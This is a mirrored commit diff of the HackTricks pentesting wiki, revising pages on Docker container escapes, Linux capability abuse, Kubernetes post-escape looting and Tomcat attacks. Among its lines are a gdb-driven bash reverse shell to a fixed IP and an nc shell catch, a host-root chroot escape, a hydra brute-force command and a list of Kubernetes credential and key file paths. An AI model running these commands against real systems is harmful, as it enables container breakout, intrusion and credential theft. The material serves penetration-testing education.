mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
GitBook: [#2945] No subject
This commit is contained in:
CPol
gitbook-bot
parent
ce581dfeaf
commit
f188a335de
5 changed files with 19 additions and 75 deletions
|
|
@ -621,12 +621,6 @@ Now, you can execute commands on the container from this `socat` connection.
|
|||
|
||||
Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../pentesting/2375-pentesting-docker.md#compromising).
|
||||
|
||||
Check **more ways to break out from docker or abuse i to escalate privileges** in:
|
||||
|
||||
{% content-ref url="docker-breakout/" %}
|
||||
[docker-breakout](docker-breakout/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Containerd (ctr) privilege escalation
|
||||
|
||||
If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**:
|
||||
|
|
|
|||
|
|
@ -8,7 +8,7 @@
|
|||
* ****[**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers
|
||||
* ****[**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image
|
||||
|
||||
## Mounted docker socket
|
||||
## Mounted Docker Socket Escape
|
||||
|
||||
If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\
|
||||
This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions.
|
||||
|
|
@ -32,7 +32,7 @@ docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
|
|||
In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`**
|
||||
{% endhint %}
|
||||
|
||||
## Container Capabilities
|
||||
## Capabilities Abuse Escape
|
||||
|
||||
You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE`**
|
||||
|
||||
|
|
@ -48,7 +48,7 @@ In the following page you can **learn more about linux capabilities** and how to
|
|||
[linux-capabilities.md](../linux-capabilities.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Privileged Containers
|
||||
## Escape from Privileged Containers
|
||||
|
||||
A privileged container can be created with the flag `--privileged` or disabling specific defenses:
|
||||
|
||||
|
|
@ -274,6 +274,17 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
|||
...
|
||||
```
|
||||
|
||||
### Host Networking
|
||||
|
||||
If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`.
|
||||
|
||||
For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance.
|
||||
|
||||
Example:
|
||||
|
||||
* [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
|
||||
* [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
|
||||
|
||||
### Runc exploit (CVE-2019-5736)
|
||||
|
||||
In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload.
|
||||
|
|
@ -297,3 +308,4 @@ There are other CVEs the container can be vulnerable too
|
|||
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
|
||||
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
|
||||
* [https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d)
|
||||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver)
|
||||
|
|
|
|||
|
|
@ -278,10 +278,6 @@ capsh --print
|
|||
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
|
||||
```
|
||||
|
||||
{% hint style="danger" %}
|
||||
You can **only add capabilities that are present** in both the permitted and the inheritable sets.
|
||||
{% endhint %}
|
||||
|
||||
### Capability-aware/Capability-dumb binaries
|
||||
|
||||
The **capability-aware binaries won't use the new capabilities** given by the environment, however the **capability dumb binaries will us**e them as they won't reject them. This makes capability-dumb binaries vulnerable inside a special environment that grant capabilities to binaries.
|
||||
|
|
@ -461,7 +457,7 @@ ssh john@172.17.0.1 -p 2222
|
|||
|
||||
### CAP\_SYS\_PTRACE
|
||||
|
||||
**This means that you can escape the container by injecting a shellcode inside some process running inside the host.** To access processes running inside the host the container needs to be run at least with **`--pid=host`**.
|
||||
**This means that you can escape the container by injecting a shellcode inside some process running inside the host.**
|
||||
|
||||
#### Example with binary
|
||||
|
||||
|
|
@ -557,7 +553,7 @@ print("Final Instruction Pointer: " + hex(registers.rip))
|
|||
libc.ptrace(PTRACE_DETACH, pid, None, None)
|
||||
```
|
||||
|
||||
#### Example with environment (Docker breakout) - Shellcode Injection
|
||||
#### Example with environment (Docker breakout)
|
||||
|
||||
You can check the enabled capabilities inside the docker container using:
|
||||
|
||||
|
|
@ -582,19 +578,6 @@ List **processes** running in the **host** `ps -eaf`
|
|||
4. **Modify** the **shellcode** inside the program and **compile** it `gcc inject.c -o inject`
|
||||
5. **Inject** it and grab your **shell**: `./inject 299; nc 172.17.0.1 5600`
|
||||
|
||||
#### Example with environment (Docker breakout) - Gdb Abuse
|
||||
|
||||
If **GDB** is installed (or you can install it with `apk add gdb` or `apt install gdb` for example) you can **debug a process from the host** and make it call the `system` function. (This technique also requires the capability `SYS_ADMIN`)**.**
|
||||
|
||||
```bash
|
||||
gdb -p 1234
|
||||
(gdb) call (void)system("ls")
|
||||
(gdb) call (void)system("sleep 5")
|
||||
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")
|
||||
```
|
||||
|
||||
You won’t be able to see the output of the command executed but it will be executed by that process (so get a rev shell).
|
||||
|
||||
### CAP\_SYS\_MODULE
|
||||
|
||||
**This means that you can** **insert/remove kernel modules in/from the kernel of the host machine.**
|
||||
|
|
@ -1256,42 +1239,11 @@ python setcapability.py /usr/bin/python2.7
|
|||
Note that if you set a new capability to the binary with CAP\_SETFCAP, you will lose this cap.
|
||||
{% endhint %}
|
||||
|
||||
Once you have [SETUID capability](linux-capabilities.md#cap\_setuid) you can go to its section to see how to escalate privileges.
|
||||
Once you have [SETUID capability](linux-capabilities.md#cap\_setuid) you can go to it's section to see how to escalate privileges.
|
||||
|
||||
#### Example with environment (Docker breakout)
|
||||
|
||||
By default the capability **CAP\_SETFCAP is given to the proccess inside the container in Docker**. You can check that doing something like:
|
||||
|
||||
```bash
|
||||
cat /proc/`pidof bash`/status | grep Cap
|
||||
CapInh: 00000000a80425fb
|
||||
CapPrm: 00000000a80425fb
|
||||
CapEff: 00000000a80425fb
|
||||
CapBnd: 00000000a80425fb
|
||||
CapAmb: 0000000000000000
|
||||
|
||||
apsh --decode=00000000a80425fb
|
||||
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||||
```
|
||||
|
||||
This capability allow to **give any other capability to binaries**, so we could think about **escaping** from the container **abusing any of the other capability breakouts** mentioned in this page.\
|
||||
However, if you try to give for example the capabilities CAP\_SYS\_ADMIN and CAP\_SYS\_PTRACE to the gdb binary, you will find that you can give them, but the **binary won’t be able to execute after this**:
|
||||
|
||||
```bash
|
||||
getcap /usr/bin/gdb
|
||||
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip
|
||||
|
||||
setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
|
||||
|
||||
/usr/bin/gdb
|
||||
bash: /usr/bin/gdb: Operation not permitted
|
||||
```
|
||||
|
||||
After investigating I read this: _Permitted: This is a **limiting superset for the effective capabilities** that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheri‐table set by a thread that **does not have the CAP\_SETPCAP** capability in its effective set._\
|
||||
It looks like the Permitted capabilities limit the ones that can be used.\
|
||||
However, Docker also grants the **CAP\_SETPCAP** by default, so you might be able to **set new capabilities inside the inheritables ones**.\
|
||||
However, in the documentation of this cap: _CAP\_SETPCAP : \[…] **add any capability from the calling thread’s bounding** set to its inheritable set_.\
|
||||
It looks like we can only add to the inheritable set capabilities from the bounding set. Which means that **we cannot put new capabilities like CAP\_SYS\_ADMIN or CAP\_SYS\_PTRACE in the inherit set to escalate privileges**.
|
||||
|
||||
### CAP\_KILL
|
||||
|
||||
|
|
|
|||
|
|
@ -111,17 +111,7 @@ If you managed to **escape from the container** there are some interesting thing
|
|||
* More **pods/containers** running in the node you can abuse like this one (more tokens)
|
||||
* The whole **filesystem** and **OS** in general
|
||||
* The **Kube-Proxy** service listening
|
||||
* The **Kubelet** service listening. Check config files:
|
||||
* Directory: `/var/lib/kubelet/` 
|
||||
* `/var/lib/kubelet/kubeconfig`
|
||||
* `/var/lib/kubelet/kubelet.conf`
|
||||
* `/var/lib/kubelet/config.yaml`
|
||||
* /var/lib/kubelet/kubeadm-flags.env - 
|
||||
* Other **kubernetes common files**:
|
||||
* `$HOME/.kube/config` - **User Config**
|
||||
* `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap Config**
|
||||
* `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
|
||||
* `/etc/kubernetes/pki` - **Kubernetes Key**
|
||||
* The **Kubelet** service listening: Check `/var/lib/kubelet/` specially `/var/lib/kubelet/kubeconfig`
|
||||
|
||||
```bash
|
||||
# Check Kubelet privileges
|
||||
|
|
|
|||
|
|
@ -43,10 +43,6 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1
|
|||
|
||||
## Vulns
|
||||
|
||||
### Password backtrace disclosure
|
||||
|
||||
Try to access `/auth.jsp` and if you are very lucky it **might disclose the password in a backtrace**.
|
||||
|
||||
### Double URL encode
|
||||
|
||||
A well-known vulnerability _to_ access the application manager \_\_ is mod\_jk in CVE-2007-1860, that allows **Double URL encode path traversal.**
|
||||
|
|
|
|||
Loading…
Reference in a new issue